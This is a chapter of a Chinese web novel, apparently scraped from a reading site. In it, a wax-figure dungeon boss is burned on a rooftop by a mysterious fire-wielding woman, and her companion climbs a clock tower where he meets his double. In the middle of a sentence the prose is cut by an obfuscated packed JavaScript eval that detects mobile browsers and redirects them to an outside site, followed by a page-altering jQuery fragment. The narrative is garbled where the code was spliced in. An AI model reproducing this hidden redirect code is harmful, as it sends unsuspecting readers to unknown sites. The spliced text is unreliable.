按理说这条长廊笔直通透,视野应当毫无遮挡。可裴翎抬眼望去,前方竟空无一人,仿佛那人凭空蒸发了。 他心头一凛,猛地眨了下眼。 再睁开时,眼前那条原本笔直的长廊,竟悄无声息地分岔为左右两条通道。 果然有问题。 38. 小红帽旅行团(三) “裴翎去哪儿了?”虞绛拨开刘茵茵和陆骁,眼前长廊空荡荡的,只剩下站在前方的阿铃。 随着裴翎一起消失的,还有邋遢男和西装男。 “咦,裴先生刚才只在我们前面十米左右,怎么一晃神就不见了。”陆骁不解地挠了挠头。 刘茵茵也心头一紧,突然的变故打断了她难得的喘息机会。一想到自己还有个天杀的“百分百撞鬼”buff,她便忍不住疑神疑鬼地环顾四周。 虞绛同样感受到了危险气息,立即从队尾走到最前,打算当探路的先锋。 相比其他人的紧张不安,阿铃却仿佛完全不受影响。她一踏进这条长廊,便被墙上的画作吸引了目光,即使有人在面前消失,她也只顾着一幅幅地按顺序细看。 “你在看什么?”虞绛忽然从背后拍了拍阿铃的肩。 阿铃下意识一惊,转头支支吾吾道:“我……有一幅喜欢的画,想看看这里有没有。” “什么画?谁画的?”虞绛不依不饶地追问。 “是……是一幅迷宫图……没什么名气的小画家,说了你也不认识。”阿铃语无伦次地回答。 虞绛笑了:“别紧张,我就随口问问。我要是看到了,也好告诉你。” 说罢,她转身大步迈向长廊尽头。 越往前走,墙上的画风也越来越写实,刻画的都是生活场景,但画面中往往透出浓重的情绪。 不仅如此,虞绛很快察觉出左右两侧的画风截然不同。右侧墙上的画作一派繁盛热烈,有胜利的将士高举战刀,也有灯红酒绿的歌舞赌场。 而左侧的却压抑阴森,放大了苦痛绝望。她看见了死刑犯癫狂的瞳孔、被凶兽追逐的小孩、还有一幅……迷宫。 虞绛目光一滞。 那幅画线条凌乱,却描绘出一个错综复杂的迷宫,一道渺小模糊的男人身影困顿地蜷缩其中,孤立无援。 “阿铃,这不就是你要找的画?” 她刚唤了一声,却后知后觉地意识到,身后的长廊静得可怕。 没有脚步声,没有谈话声,更没有应答。 身后的长廊空无一人,原本在她后面的刘茵茵、陆骁、阿铃和小男孩全都不见了。 虞绛再次转回身时,前路却已变了模样。本应笔直通往出口的走廊,被一堵突兀出现的白墙死死封住,左右则各延伸出一道岔路。 她大概明白,裴翎和另外两个男人为何突然消失了。 虞绛上前敲了敲挡路的墙壁,却只传来厚实的闷响。看来,她只能从左右岔路选一个方向,继续前行。 可是,两条岔路完全对称,望进去都是空荡荡、白茫茫的一片,没有任何区别。 “没有任何线索,难道纯靠运气幸福二选一?”虞绛思忖片刻,谨慎地掏出了怀表,将指针拨动到12点。 虞绛想打开副本,只要有了Boss的全知视角,也许就能找到正确的路。 然而—— 【尊敬的副本Boss,未检测到可参与游戏的玩家,您的D级非主线副本《蜡妹棋牌室》暂不具备开启条件。】 虞绛眉头微蹙,自己的副本连荒村的干尸都能认定为玩家,可现在却无法开启。 这里没有其他人,也没有怪物…… 这个障眼迷阵大费周章地给了她两条路,若连怪物都没有,又能藏下什么陷阱?虞绛想不通,也懒得细想,索性径直抬腿走向左边。 随便选个陷阱踩下去,谜底不就自然揭晓了? 当她的脚步踏入左侧岔路那条几不可察的分界线时,眼前景象骤然变换,白茫茫的空间瞬间褪去,一股灼热扑面而来。 她只觉天旋地转,身子踉跄一歪,低头看清脚下之际猛地倒退一步。 好险! 此时的虞绛赫然立于一处天台边缘,脚下的建筑已燃起熊熊烈焰。再往前半步,转瞬就会落入火海。 这是哪里?! 虞绛被脚下的热浪熏得难受,蜡像身体难以抑制地变软,但她强撑着环顾了四周。 夜幕沉沉,自己所在的地方像是个占地宽阔的三层厂房,火势正从二楼汹涌蔓延,浓烟卷上天台。 她目光落在不远处高耸的大楼上,心里暗道,她知道自己在哪儿了。 中心一区,或是二区?总之,距离中央大楼很近。 虞绛心念一动,虽然不知道为何会落入这样的情境,但她想尽快脱离这个火场,走进那栋梦寐以求的大楼。 【蜘蛛新娘:Boss技能,开启后获得蜘蛛般的吐丝结网能力,叠加疾跑加速。】 【泯然众人:Boss技能,开启后将显著弱化自身存在感,无法被人记住或辨认自身相貌。】 虞绛接连激活了两个技能,瞄准最近的一栋公寓楼,右手一伸,一缕坚韧雪白的蛛丝从掌心飞射而出,直指那栋楼外的铁梯。 “噗呲——” 忽然,一道火球从背后袭来,精准截断蛛丝。断线如飘絮般坠入夜空,随即化作焦灰。 “是谁?”虞绛猛然回头,对上一道人影。 奇怪,虞绛在得到【黑夜潜行】能力后,夜间视力一直很好。但这次她却看不清来人的面目,只隐约察觉对方是个身形纤细的女人,右手熊熊燃烧着。 脚下的大火,刚才的火球,恐怕都出自她手。 双方微妙地对峙了三秒,便同时动手。 来者攻势凌厉如风,身形轻盈如猎豹。即使虞绛激活了“蜘蛛新娘”的加速能力,也被她迅猛的速度压制。 虞绛勉强躲开一击,仍被对方炽燃的右拳擦过肩头。 火是蜡像人的天敌,她的左肩一触即燃,烈焰瞬间蔓延开来。 虞绛连连后退几步,她有些憋屈地想,好久没遇到过这样毫无还手之力的对手了。 更糟的是,这火不像寻常烈焰,燃烧得极快、极猛,转瞬间便如饥似渴地吞噬了她的整条手臂。 “你谁啊!”虞绛愤愤大喝,眼睛却咕噜噜地朝四周狂扫,现在她急需灭火的水源。 与此同时,她还不动声色地卸下背上的牌匾,这宝贝门牌可不能被烧毁了,出去后一定要让裴翎帮她升级个轻便防火版。 神秘女子仍不言语,再度锁定她身形,如鬼魅般瞬间贴近。 虞绛猝不及防地被扑倒,半个身子悬出了天台。那人死死压住她,就像一座炽燃的大山,燃烧的右拳高高举起,对准了虞绛的胸膛。 身下的浓烟和热浪,以及面前即将落下的燃烧火拳,将她牢牢圈进死局。 虞绛怔怔望着近在咫尺的杀手,仰望的视角中,那张面孔始终模糊不清,几乎融入了背后一整片浓墨似的夜空。 今夜无月,只有几颗星星稀稀拉拉地挂在东边,孤寂又遥远。 下一秒,燃烧的拳头猛地落下,空气仿佛被高温扭曲,时间也在这一刻骤然拉长。虞绛感到死亡逼近,眼前飞快掠过一幕幕记忆闪回,就像走马灯。 可是,真奇怪啊!她的人生乏善可陈,作为副本Boss诞生以来,就只是日复一日地经历着“看店-上网-睡觉”的循环。 可这临死前的走马灯,这些快到看不清具体场景的画面,怎么会这么多,这么长? 转瞬之间,燃烧的右拳以千钧之力狠狠砸入胸膛,瞬间将虞绛的身体烧穿了个大洞。 然而,神秘人的动作却迟疑了一瞬,虞绛听见她困惑的低语: “奇了,这个伪人魔物竟没有心脏?” 可即使没有心脏,左肩与胸口的烈焰已不可遏制地蔓延开来,虞绛的身体开始迅速燃烧,不消几秒后就会化为一滩焦黑。 一阵悲伤又酸涩的感觉涌上心头,虞绛生不出反抗的力气,反而陷入异常猛烈的负面情绪中,双眼盈满了蜡珠。 就在泪眼模糊时,她恍惚间瞥见东边的夜空中,那些原本稀疏的星星,不知何时多出了一倍。 而它们竟排列成了一个形状,这个轮廓她认得的!那是一只翅膀,和面包车司机耳后的纹身一模一样。 此刻,她的身体被烧得只剩下一只右臂,和一颗头颅。 在刺目的火光中,虞绛抬头望向神秘女人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547559|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上了她那双冷漠坚毅、又有些熟悉的眼眸。 下一秒,她残存的右手轻轻一动,一缕锋利的白色蛛丝自神秘人的视野盲区疾速射出。 刺啦—— 夜幕就像一层廉价的黑色油纸,被轻而易举地刺破。 *** 裴翎的额角沁出一层冷汗,他又一次回到了梦境中那段无尽的楼梯。 此刻他已经攀登了几十层,可从楼梯间望上去,却依旧是没有尽头的旋转回环。 不能再这样下去了,再走只会困死在这循环中。 “啾啾——” 忽然,窗外传来一声清脆的鸟鸣。 裴翎微微一怔,转头看向窗外。如果楼道内受限无法通行……那从外墙爬上去呢? 他心头一震,或许这正是打破梦境死局的关键!可当他推开窗户时,目光落在自己那只组装得粗糙的机械臂上,神色顿时一暗。 他叹了口气,换用左手在外墙摸索。好在这栋楼的外立面由不规则的石材组成,并非光滑的玻璃幕墙。 裴借力将左手卡进砖缝的凹陷处,猛地一撑,将身体整个吊出窗外。狂风席卷高空,他仅靠左臂吊着身体,胳膊上青筋暴起,身形摇摇欲坠。 他扫了一眼下方,密集的城市建筑物如蚁群般渺小,再抬头看时,才发现自己距离顶端其实只剩十余米。 硕大的座钟赫然在望,裴翎终于确认了,这里就是中央大楼的顶端! 可诡异的是,在那座大钟下方,乌压压聚集着一群鸟。它们通体漆黑,形似乌鸦,但体态却像一只只肥鸭,刚才的鸟叫声就是它们发出的。 裴翎在心跳之城走南闯北这么久,还从未见过这样的鸟类。 他稳了稳心神,没忘记自己仍身处美术馆的岔路之中。只是现下身处高空,他只能向上攀登。 于是裴翎咬紧牙关鼓足劲,用不惯用的左手死死扣住墙面缝隙,双脚蹬墙,一步一步艰难向上。 快了,离钟塔只剩最后几米! 湿透的头发贴在脸上,汗水顺着发丝滑落,滴在眼中一阵刺痛。他终于逼近了钟塔顶端,近在咫尺的,是那片盘旋鸟群的影子。 幸运的是,那些漆黑诡异的巨鸟并未理会他的靠近,反而全都紧盯着钟摆下方,仿佛等待着什么契机。 裴翎屏住呼吸,将左手牢牢扣上平台边缘。平台上放置着硕大的座钟,也能容纳一人站立。 然而,就在他准备翻身上来之际,支撑身体的左手却猛地被人一脚踩住,力道之大几乎将指关节碾碎。 “嘶——!”剧痛袭来,裴翎险些脱手。但他死死咬牙,以一股近乎执念的意志强撑着不松开。 心中的念头从未如此强烈:他要爬上去,必须爬上去。 可上去之后呢? 他艰难地抬眼望去,想看清袭击者是谁,却只看见一个高大的男人侧身站在平台上。 那人正专心致志地跟钟面上粗长的指针较劲,他的右臂肌肉紧绷,使出了十足的气力想将指针生生拔下来。 即便察觉到身后有人爬上来,这人也仅用一只脚压住裴翎的手,甚至没给多余的眼神,也没有停下手上拔针的动作。 不行了,裴翎的左手已被碾压得毫无知觉。与此同时,奇异的绝望和悲伤涌上心头,他自暴自弃地想,干脆松开手摔下去算了。 可这一刻,大钟的指针在男人的蛮力下终于松动,也惊动了在一旁窥伺的黑色鸟群。 下一秒,变故陡生。 乌压压的黑鸟仿佛接到了某种命令,纷纷扑向男人的右臂,然后一齐张口咬下。 “啊——!!”男人发出困兽般的嘶吼,脚下的力道一松。 裴翎左手的压迫感骤然消散,他趁机奋力抬起机械右臂,双手攀住平台边缘,终于将半个身子拉了上来。 然而,还来不及松口气,一截血淋淋的手臂突然啪地一声落在他面前,断口处满是利齿啃咬的痕迹。 裴翎一愣,下意识抬头。 他看见了一张满头大汗的脸,和自己长得一模一样。